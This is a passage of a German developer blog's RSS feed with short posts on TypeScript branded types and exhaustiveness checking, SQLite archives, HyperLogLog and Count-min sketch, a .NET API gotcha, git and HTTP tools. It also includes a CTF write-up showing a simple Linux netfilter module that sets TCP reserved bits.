&lt;li&gt;&lt;a href=&quot;https://lexi-lambda.github.io/blog/2020/11/01/names-are-not-type-safety/&quot;&gt;Names are not type safety&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Letzteres dreht sich vor allem um Haskells &lt;code&gt;newtype&lt;/code&gt;. Vereinfacht gesagt ist das ein strikter Typalias. Also als TypeScript-Äquivalent:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Grade = number;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;Mit einem wichtigen Unterschied&lt;/em&gt;: Jede &lt;code&gt;number&lt;/code&gt; ist automatisch eine valide &lt;code&gt;Grade&lt;/code&gt;. Das liegt daran, dass das Typsystem von TS (an den meisten Stellen) &lt;a href=&quot;https://en.wikipedia.org/wiki/Structural_type_system&quot;&gt;strukturell und nicht nominell&lt;/a&gt; ist.&lt;/p&gt;
&lt;p&gt;Diese newtypes sind eine strikte Variante davon, nämlich, dass man die Typen entweder explizit casten muss oder sie durch die Typinferenz gesichert werden. In TS gibt es &lt;a href=&quot;https://kubyshkin.name/posts/newtype-in-typescript/&quot;&gt;newtype-Konstruktionen&lt;/a&gt;, &lt;a href=&quot;https://github.com/gcanti/newtype-ts&quot;&gt;Librarys&lt;/a&gt; und &lt;a href=&quot;https://basarat.gitbook.io/typescript/main-1/nominaltyping&quot;&gt;etliche&lt;/a&gt; &lt;a href=&quot;https://betterprogramming.pub/nominal-typescript-eee36e9432d2&quot;&gt;Blogposts&lt;/a&gt; dazu. Manche nennen es auch &lt;a href=&quot;https://medium.com/@KevinBGreene/surviving-the-typescript-ecosystem-branding-and-type-tagging-6cf6e516523d&quot;&gt;&quot;Branded Types&quot;&lt;/a&gt;. Natürlich gibt es auch ein &lt;a href=&quot;https://github.com/Microsoft/Typescript/issues/202&quot;&gt;seit 2014 offenes Proposal&lt;/a&gt; dazu.&lt;/p&gt;
&lt;p&gt;Die Aussage des Blogposts oben: Das kann Exhaustiveness-Checking kaputt machen. Wir stellen uns diese Funktion vor:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Grade = Branded&amp;lt;number, &quot;Grade&quot;&amp;gt;; // &quot;newtype&quot; für Grade

function isGrade(value: number): value is Grade {
    return 1 &amp;lt;= value &amp;amp;&amp;amp; value &amp;lt;= 6;
}

function getGradeDescription(value: Grade): string {
    switch (value) {
        case 1: return &quot;sehr gut&quot;;
        case 2: return &quot;gut&quot;;
        case 3: return &quot;befriedigend&quot;;
        case 4: return &quot;ausreichend&quot;;
        case 5: return &quot;mangelhaft&quot;;
        case 6: return &quot;ungenügend&quot;;
        default: throw new Error(&quot;Impossible&quot;);
    }
}

let a = 4;
// a ist &quot;number&quot;
if (isGrade(a)) {
    // a ist &quot;Grade&quot;
    console.log(getGradeDescription(a));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Das ist doch schon ganz gut. Aber was ist jetzt das Problem?&lt;/p&gt;
&lt;p&gt;Das Problem wird klar, wenn wir ein Refactoring machen und von dem 6-Noten-System auf z. B. ein 15-Punkte-System migrieren:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Grade = Branded&amp;lt;number, &quot;Grade&quot;&amp;gt;; // &quot;newtype&quot; für Grade

function isGrade(value: number): value is Grade {
    return 0 &amp;lt;= value &amp;amp;&amp;amp; value &amp;lt;= 15;
}

// ...

let a = 4;
// a ist &quot;number&quot;
if (isGrade(a)) {
    // a ist &quot;Grade&quot;
    console.log(getGradeDescription(a));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Jetzt könnte es passieren, dass der Entwickler nicht mitbekommt, dass &lt;code&gt;getGradeDescription&lt;/code&gt; auch angepasst werden muss -- es gibt ja auch keinen Compilerfehler. Stattdessen erhalten wir einen Runtime-Fehler. Dabei dachten wir eigentlich, wir seien auf der sicheren Seite, denn wir haben immer den &lt;code&gt;Grade&lt;/code&gt;-Type zugesichert.&lt;/p&gt;
&lt;p&gt;Oben schrieb ich, dass Exhaustiveness-Checking kaputt gemacht würde. Rollen wir unseren Code also nochmal zurück vor das Refactoring und schauen, was wir hätten besser machen können.
Exhaustiveness-Checking ist, wenn der Compiler prüfen kann, ob alle Fälle abgetestet wurden. Wenn wir den &lt;code&gt;default&lt;/code&gt;-Case beim &lt;code&gt;getGradeDescription&lt;/code&gt; weglassen:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function getGradeDescription(value: Grade): string {
    switch (value) {
        case 1: return &quot;sehr gut&quot;;
        case 2: return &quot;gut&quot;;
        case 3: return &quot;befriedigend&quot;;
        case 4: return &quot;ausreichend&quot;;
        case 5: return &quot;mangelhaft&quot;;
        case 6: return &quot;ungenügend&quot;;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;...erhalten wir einen Fehler:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Function lacks ending return statement and return type does not include &apos;undefined&apos;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Der kommt daher, dass wir nicht alle Fälle abgedeckt haben und die Funktion nicht immer einen Wert zurückgibt, denn &lt;code&gt;Grade&lt;/code&gt; ist ja letztenendes für den Compiler nur eine &lt;code&gt;number&lt;/code&gt;, welche alle möglichen Werte annehmen kann. Wir wissen jedoch, dass dies nicht so ist! Der Type-Checker weiß das jedoch nicht. Wie können wir den Type-Checker zu unseren Gunsten verwenden?&lt;/p&gt;
&lt;p&gt;Eine Antwort: Mit &lt;a href=&quot;https://www.typescriptlang.org/docs/handbook/literal-types.html&quot;&gt;Literaltypen&lt;/a&gt; und Union-Types. Wir können &lt;code&gt;Grade&lt;/code&gt; stattdessen so definieren:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Grade = 1 | 2 | 3 | 4 | 5 | 6;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;(Achtung: Das ist immernoch kein newtype, nur ein Typalias für dieses Union)&lt;/p&gt;
&lt;p&gt;Dieser Typalias reicht schon aus, um den Compiler bei dem &lt;code&gt;switch&lt;/code&gt; mit dem fehlenden &lt;code&gt;default&lt;/code&gt;-Case zu befriedigen. Wenn wir jetzt unser Refactoring erneut durchführen, müssen wir &lt;code&gt;Grade&lt;/code&gt; abändern:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Grade = 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Jetzt bekommt wir sofort einen Fehler in der &lt;code&gt;getGradeDescription&lt;/code&gt;-Funktion: Das Exhaustiveness-Checking sagt uns, dass wir nicht alle Fälle des &lt;code&gt;Grade&lt;/code&gt;-Typen abgedeckt haben und der Entwickler weiß sofort, dass er diese Funktion anpassen muss, da sie nicht vergessen werden &lt;em&gt;kann&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Zwei letzte Anmerkungen dazu:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Den &lt;code&gt;default&lt;/code&gt;-Case würde ich in der TypeScript-Welt trotzdem nicht weglassen. Es ist immer gut, &lt;a href=&quot;https://medium.com/@matt.dekrey/in-this-case-you-can-also-assert-that-the-type-is-never-ad4c9b4671ee&quot;&gt;sich ein &lt;code&gt;assertNever&lt;/code&gt; zu definieren&lt;/a&gt; und es im &lt;code&gt;default&lt;/code&gt;-Case für den Wert, auf dem geswitched wird, zu verwenden. Dadurch wird der Fehler eindeutiger und sollte es zur Laufzeit doch irgendwie dazu kommen, kann im Fehelrfall zumindest eine Exception an der richtigen Stelle geworfen werden (TypeScript macht keine Runtime-Checks; eine inkorrekte Assertion würde dafür reichen).&lt;/li&gt;
&lt;li&gt;Der Typ ist jetzt schon ziemlich lang -- ein Union mit 16 Einträgen. Natürlich sollte man auf Fallbasis abwägen, ob es sich lohnt.&lt;/li&gt;
&lt;li&gt;newtypes / branded Types sind trotzdem cool und können generell helfen, typsicherer zu sein. Es kann sich aber lohnen, seine Typen &lt;em&gt;noch&lt;/em&gt; genauer zu spezifizieren.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><language>de-DE</language><category>software-engineering</category><category>typescript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/09/25/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/09/25/0.html</guid><pubDate>Sat, 25 Sep 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://mathiasbynens.be/demo/url-regex&quot;&gt;In search of the perfect URL validation regex&lt;/a&gt; (2010)&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/09/25/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/09/25/1.html</guid><pubDate>Sat, 25 Sep 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Interessante Frage, die sich jemand 2012 gestellt hat und diskutiert wurde: &lt;a href=&quot;http://lambda-the-ultimate.org/node/4655&quot;&gt;What will programming look like in 2020?&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Ausschitt der Frage:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What will programming look like in 2020? Keep in mind that programming in 2012 mostly resembles programming in 2004, so could we even expect any significant changes 8 years from now in the programmer experience?&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/09/25/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/09/25/2.html</guid><pubDate>Sat, 25 Sep 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Der Link von eben hat mich an einen sehr guten Talk erinnert: &lt;a href=&quot;https://player.vimeo.com/video/71278954&quot;&gt;The Future of Programming&lt;/a&gt;, von &lt;a href=&quot;https://en.wikipedia.org/wiki/Bret_Victor&quot;&gt;Bret Victor&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Er präsentiert auf einem Tageslichtprojektor und setzt den ganzen Talk so auf, als ob er im Juli 1973 gehalten wird (der Talk ist von 2013). Dabei zeigt er die verrückten, neuen Ideen, auf die die Menschen damals gekommen sind, wenn es um Computer und deren Programmierung ging. Viele davon kennt Ihr wahrscheinlich. Andere bestimmt nicht, da sie in Vergessenheit geraten sind.&lt;/p&gt;
&lt;p&gt;Warum haben wir eigentlich die Kreativität verloren, sodass wir Computer im Prinzip alle auf dieselbe Weise bespielen?&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/09/26/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/09/26/0.html</guid><pubDate>Sun, 26 Sep 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/a/26799885&quot;&gt;Man kann in mit CSS&lt;/a&gt; ein Element veranlassen, keine Click-/Pointer-Events zu verarbeiten.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>css</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/09/27/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/09/27/0.html</guid><pubDate>Mon, 27 Sep 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Heutiger SQLite-Post: &lt;a href=&quot;https://www.sqlite.org/sqlar.html&quot;&gt;SQLAR&lt;/a&gt;, ein komprimiertes Archivformat, was gleichzeitig eine SQLite-Datenbank ist. Idee: Es ist eine normale SQLite-DB, die zusätzlich diese Tabelle hat:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CREATE TABLE sqlar(
    name TEXT PRIMARY KEY,  -- name of the file
    mode INT,               -- access permissions
    mtime INT,              -- last modification time
    sz INT,                 -- original file size
    data BLOB               -- compressed content
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Rest dürfte selbsterklärend sein. Die Vorteile sind die, die man bei normalen SQLite auch hat: Transaktionen, man kann SQL-Querys auf Dateinamen/Attribute machen, die Datei ist inkrementell updatebar etc.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>db</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/09/28/ds.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/09/28/ds.html</guid><pubDate>Tue, 28 Sep 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Datenstrukturdienstag:
Dieses Mal gibt es wieder eine probabilistische Datenstruktur: &lt;a href=&quot;https://en.wikipedia.org/wiki/Count%E2%80%93min_sketch&quot;&gt;Count–min-Sketch&lt;/a&gt;.
Damit kann man (probabilistisch) schätzen, wie oft ein Element vorgekommen ist, z. B. wenn man einen Datenstrom hat und vorbeigehende Dinge zählt.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><category>probabilistisch</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/10/01/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/10/01/0.html</guid><pubDate>Fri, 01 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Für ein CTF musste ich letztens einen Netfilter bauen, der ein- und ausgehende IP-Pakete patcht. Genauer gesagt mussten Daten in TCP-Header geändert werden (mehrere Reserved-Bits mussten gesetzt werden).&lt;/p&gt;
&lt;p&gt;Nachdem ich hoffnungslos versucht hab, irgendwelche random TCP/IP-Userspace-Stacks mit Raw-Sockets oder TUN/TAP-Devices zum Laufen zu bringen, war die &quot;einfache&quot; Lösung ein Netfilter-Kernelmodul. Da man dazu immer mal wieder verschiedene Varianten findet und 90% der Tech-Blogs da draußen nicht in der Lage sind, Zeilenumbrüche und Quotes ordentlich zu formatieren, hier eine &quot;einfache&quot; Lösung (basiert teilweise auf &lt;a href=&quot;https://infosecwriteups.com/linux-kernel-communication-part-1-netfilter-hooks-15c07a5a5c4e?gi=e80627538b79&quot;&gt;dieser&lt;/a&gt;):&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ultra_hack.c&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;linux/init.h&amp;gt;
#include &amp;lt;linux/module.h&amp;gt;
#include &amp;lt;linux/kernel.h&amp;gt;
#include &amp;lt;linux/netfilter.h&amp;gt;
#include &amp;lt;linux/netfilter_ipv4.h&amp;gt;
#include &amp;lt;linux/ip.h&amp;gt;
#include &amp;lt;linux/tcp.h&amp;gt;

MODULE_LICENSE(&quot;GPL-3.0&quot;);
MODULE_AUTHOR(&quot;Ultra Hacker 3000&quot;);
MODULE_DESCRIPTION(&quot;Super-TCP-Hack&quot;);

static unsigned int hook_func(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
	if (!skb)
		return NF_ACCEPT;

	struct iphdr *iph = ip_hdr(skb);
	if (iph-&amp;gt;protocol != IPPROTO_TCP)
		return NF_ACCEPT;

	struct tcphdr *tcp_header = tcp_hdr(skb);

	tcp_header-&amp;gt;res1 = 0b1010;

	printk(KERN_DEBUG &quot;ultra hack is hacking.\n&quot;);

	return NF_ACCEPT;
}

static struct nf_hook_ops nf_hook_data = {
	.hook = hook_func,
	.hooknum = NF_INET_POST_ROUTING,
	.pf = PF_INET,
	.priority = NF_IP_PRI_FIRST,
};

static int __init init_function(void)
{
	printk(KERN_INFO &quot;ultra hack module is loading.\n&quot;);
	nf_register_net_hook(&amp;amp;init_net, &amp;amp;nf_hook_data);
	return 0;
}

static void __exit exit_function(void)
{
	printk(KERN_INFO &quot;ultra hack module is unloading.\n&quot;);
	nf_unregister_net_hook(&amp;amp;init_net, &amp;amp;nf_hook_data);
}

module_init(init_function);
module_exit(exit_function);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ein paar Anmerkungen:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;PF_INET&lt;/code&gt; steht für IPv4&lt;/li&gt;
&lt;li&gt;die &lt;code&gt;hooknum&lt;/code&gt; gibt die Stelle an, an der der Filter eingesetzt wird (das kann man noch Pre-Routing machen etc, einfach nach anderen Konstanten schauen).&lt;/li&gt;
&lt;li&gt;Die Signatur der &lt;code&gt;hook_func&lt;/code&gt; ändert sich gerne mal bei Kernel-Updates. Die aus dem Beispiel funktioniert für &lt;code&gt;5.11.0&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Hier noch die Makefile dazu:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;obj-m := ultra_hack.o
LKM-objs += ultra_hack.o

all:
	make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) modules
	rm -r -f *.mod.c .*.cmd *.symvers *.o
clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) clean
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Zum Laden, Entfernen etc:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# kompilieren
make all

# laden
sudo insmod ultra_hack.ko

# schauen, ob es da ist
lsmod

# schauen, ob printk-Nachrichten auftauchen
sudo dmesg -w

# entfernen
sudo rmmod ultra_hack
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Man kann das auch mit &lt;a href=&quot;https://stackoverflow.com/a/50766805&quot;&gt;nfqueue und Python&lt;/a&gt; &lt;a href=&quot;https://byt3bl33d3r.github.io/using-nfqueue-with-python-the-right-way.html&quot;&gt;machen&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>acsc</category><category>ctf</category><category>writeup</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/10/02/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/10/02/0.html</guid><pubDate>Sat, 02 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/typescript/announcing-typescript-4-5-beta/&quot;&gt;TypeScript 4.5 (Beta)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Gute Änderung: TS unterstützt jetzt auch Node.js-Style-ES-Module. Das heißt, dass jetzt auch ordentlich mit ES-Imports umgegangen werden kann, wenn keine Dateiendung dabei ist. Das war bisher immer etwas doof, wenn man bestehenden Code als ES-Module emittiert, da man bei Node üblicherweise die Dateiendungen nicht mit angibt.
Die Alternative wäre gewesen, von &lt;code&gt;.js&lt;/code&gt; zu importieren, was aber auch doof war, weil man ja eigentlich von einer &lt;code&gt;.ts&lt;/code&gt;-Datei importiert. Die Imports wurden bisher nicht zu der entsprechenden &lt;code&gt;.js&lt;/code&gt;-Datei umgeschrieben.&lt;/p&gt;
&lt;p&gt;Template-Literal-Strings kann man jetzt auch als Discriminator nehmen:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;interface Success {
    type: `${string}Success`;
    body: string;
}
interface Error {
    type: `${string}Error`;
    message: string
}
function handler(r: Success | Error) {
    if (r.type === &quot;HttpSuccess&quot;) {
        // &apos;r&apos; has type &apos;Success&apos;
        let token = r.body;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hätte eigentlich gedacht, dass das vorher auch schon gehen würde. Cool, dass es jetzt geht.&lt;/p&gt;
&lt;p&gt;Außer, dass &lt;a href=&quot;https://github.com/tc39/proposal-import-assertions&quot;&gt;Import Assertions&lt;/a&gt; jetzt unterstützt werden, gibt es eigentlich sonst keine krassen Neuerungen. Eher viel kleines für besseren Interop mit anderem.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>typescript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/10/03/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/10/03/0.html</guid><pubDate>Sun, 03 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Wiedermal ein schöner API-gotcha, dieses Mal in C#/.NET:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.microsoft.com/de-de/dotnet/api/system.io.path.gettempfilename?view=net-5.0&quot;&gt;&lt;code&gt;Path.GetTempFileName()&lt;/code&gt;&lt;/a&gt; gibt den Pfad zu einer einzigartigen Datei zurück. Dabei wird diese Datei auch gleich (ohne Inhalt) angelegt. Sehr praktisch also! Man kann die Datei auch direkt löschen, wenn man weiß, dass man sie nicht mehr braucht.&lt;/p&gt;
&lt;p&gt;Brauchst du etwas mehr, als eine einzige Datei? Es gibt praktischerweise auch &lt;a href=&quot;https://docs.microsoft.com/de-de/dotnet/api/system.io.path.gettemppath?view=net-5.0&quot;&gt;&lt;code&gt;Path.GetTempPath()&lt;/code&gt;&lt;/a&gt;!&lt;/p&gt;
&lt;p&gt;Moment -- diese Funktion gibt keinen eindeutigen Ordnernamen zurück, &lt;em&gt;sondern den Pfad zum Temp-Verzeichnis des Nutzers&lt;/em&gt;. Wer gerade seinen Code refactored hat und davon ausging, dass man den Ordner sicher löschen kann, hat also vielleicht Pech. Wenn man darin dann Dateien mit gleichen Namen anliegt, wiegt sich auch in falscher Sicherheit. Nicht schön.&lt;/p&gt;
&lt;p&gt;Dies ist ein schönes Beispiel, dass man Seiteneffekte immer deutlich machen soll. Schon bei &lt;code&gt;GetTempFileName&lt;/code&gt; hätte man noch irgendwo ein &lt;code&gt;Create&lt;/code&gt; in den Namen tun müssen, damit man sieht, dass diese Funktion auch tatsächlich noch etwas anderes macht, als einen String zurückzugeben. Alternativ hätte man auch bei &lt;code&gt;GetTempPath&lt;/code&gt; noch einen anderen Namen finden können.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://martinfowler.com/bliki/TwoHardThings.html&quot;&gt;Naming things is hard&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>dotnet</category><category>api-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/10/04/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/10/04/0.html</guid><pubDate>Mon, 04 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ich habe gerade folgenden Alias bei Git hinzugefügt:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git config --global alias.serve &quot;daemon --verbose --export-all --base-path=.git --reuseaddr --strict-paths .git/&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Damit kann man ein lokales Git-Repo &quot;mal schnell&quot; serven, damit es jemand klonen kann. Dann spart man sich SSH bzw. andere Lösungen (&lt;a href=&quot;https://gist.github.com/datagrok/5080545/revisions&quot;&gt;Quelle&lt;/a&gt;).&lt;/p&gt;
</content:encoded><language>de-DE</language><category>git</category><category>shell</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/10/05/ds.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/10/05/ds.html</guid><pubDate>Tue, 05 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Datenstrukturdienstag:
Letzte Woche: Zählen, wie oft bestimmte Elemente vorkamen.
Diese Woche: Zählen, wie viele Elemente in einer Menge enthalten sind.&lt;/p&gt;
&lt;p&gt;Verwenden kann man dafür &lt;a href=&quot;https://en.wikipedia.org/wiki/HyperLogLog&quot;&gt;HyperLogLog&lt;/a&gt; (ja, wieder probabilistisch).&lt;/p&gt;
&lt;p&gt;Anwendungsfall: Ihr habt eine Menge, zu der ständig neue Elemente hinzukommen. Ihr braucht euch nicht jedes Element merken. Aber es kann sein, dass ein Element, das eigentlich schon drin ist, noch mal hinzugefügt werden soll. Ihr wollt dieses Element nicht doppelt zählen (Fachbegriff &lt;a href=&quot;https://en.wikipedia.org/wiki/Count-distinct_problem&quot;&gt;Count-Distinct-Problem&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Konkret wollt ihr vielleicht die Anzahl der Aufrufe eines Videos zählen und nimmt dabei die ID des Users, der es angesehen hat, als Kriterium. Schaut sich die Person es noch mal an, wollt ihr sie nicht noch mal zählen. HLL hat dabei einen sehr langsam wachsenden Speicherbedarf (ursprünglich &lt;code&gt;log(log(n))&lt;/code&gt;, daher der Name) und kann in O(1) Elemente hinzufügen.&lt;/p&gt;
&lt;p&gt;In der Praxis muss man das natürlich nicht selber bauen. &lt;a href=&quot;https://redis.com/redis-best-practices/counting/hyperloglog/&quot;&gt;Redis hat das built-in&lt;/a&gt;. Und für jede Sprache gibt&apos;s das sicherlich auch als Library.&lt;/p&gt;
&lt;p&gt;HLL wird natürlich bei den &quot;ganz großen&quot; verwendet (&lt;a href=&quot;https://redditblog.com/2017/05/24/view-counting-at-reddit/&quot;&gt;Reddit hat hier berichtet, wie sie ihre Views zählten&lt;/a&gt;; habe gehört, dass sie es mittlerweile nicht mehr so machen). Diese Datenstruktur ist auch der Grund, warum Video-Views oder Upvote-Counts meistens nicht die genaue Zahl wiederspiegeln. HLL hat eine Fehlerrate von ~2%.&lt;/p&gt;
&lt;p&gt;Es gibt von HLL noch weitere Abwandlungen, z. B. HLL++.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><category>probabilistisch</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/10/08/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/10/08/0.html</guid><pubDate>Fri, 08 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Vor ein paar Tagen habe ich &lt;a href=&quot;https://github.com/Orange-OpenSource/hurl&quot;&gt;Hurl&lt;/a&gt; kennengelernt. Das ist ein CLI-HTTP-Client, wie cURL. Der Unterschied ist: Hurl holt sich die Request-Parameter aus einer Datei.&lt;/p&gt;
&lt;p&gt;Warum ist das so viel anders als cURL? Man kann mehrere HTTP-Anfragen in einer Datei abbilden. Diese Anfragen können Daten aus den Ergebnissen der vorherigen Anfrage verwenden. Aus dem README:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Get home:
GET https://example.net

HTTP/1.1 200
[Captures]
csrf_token: xpath &quot;string(//meta[@name=&apos;_csrf_token&apos;]/@content)&quot;

# Do login!
POST https://example.net/login?user=toto&amp;amp;password=1234
X-CSRF-TOKEN: {% raw %}{{csrf_token}}{% endraw %}

HTTP/1.1 302
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Wie Ihr seht, kann man damit auch XPath-Querys auf die Antworten absetzen. Natürlich geht auch JSONPath. Das kann man mit einem &lt;code&gt;[Asserts]&lt;/code&gt; kombinieren und sich somit HTTP-Tests bauen:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST https://api.example.net/tests
{
    &quot;id&quot;: &quot;456&quot;,
    &quot;evaluate&quot;: true
}

HTTP/1.1 200
[Asserts]
jsonpath &quot;$.status&quot; == &quot;RUNNING&quot;      # Check the status code
jsonpath &quot;$.tests&quot; count == 25        # Check the number of items
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Intern verwendet das Tool natürlich cURL; man muss das Rad ja auch nicht neu erfinden.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>http</category><category>software-engineering</category><category>tools</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/10/08/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/10/08/1.html</guid><pubDate>Fri, 08 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Android 12 kommt ja gerade um die Ecke. Coole neue Features, besonders das neue Wallpaper, aus dem Android ein paar Systemfarben ableitet: &lt;a href=&quot;https://fingerprintjs.com/blog/how-android-wallpaper-images-threaten-privacy/&quot;&gt;How Android Wallpaper Images Can Threaten Your Privacy&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/10/08/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/10/08/2.html</guid><pubDate>Fri, 08 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Vielleicht praktisch für das nächste CTF: &lt;a href=&quot;https://github.com/wimpysworld/quickemu&quot;&gt;Quickemu, Quickly create and run optimised Windows, macOS and Linux desktop virtual machines.&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>ctf</category><category>tools</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/10/08/3.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/10/08/3.html</guid><pubDate>Fri, 08 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://metebalci.com/blog/hello-ipv6/&quot;&gt;Hello IPv6: a minimal tutorial for IPv4 users&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>ipv6</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/10/08/4.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/10/08/4.html</guid><pubDate>Fri, 08 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.com/foriequal0/git-trim&quot;&gt;&lt;code&gt;git-trim&lt;/code&gt; automatically trims your tracking branches whose upstream branches are merged or stray&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>tools</category><category>git</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/10/09/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/10/09/0.html</guid><pubDate>Sat, 09 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ein interessanter Artikel über Web Streams: &lt;a href=&quot;https://css-tricks.com/web-streams-everywhere-and-fetch-for-node-js/&quot;&gt;Web Streams Everywhere&lt;/a&gt;&lt;/p&gt;
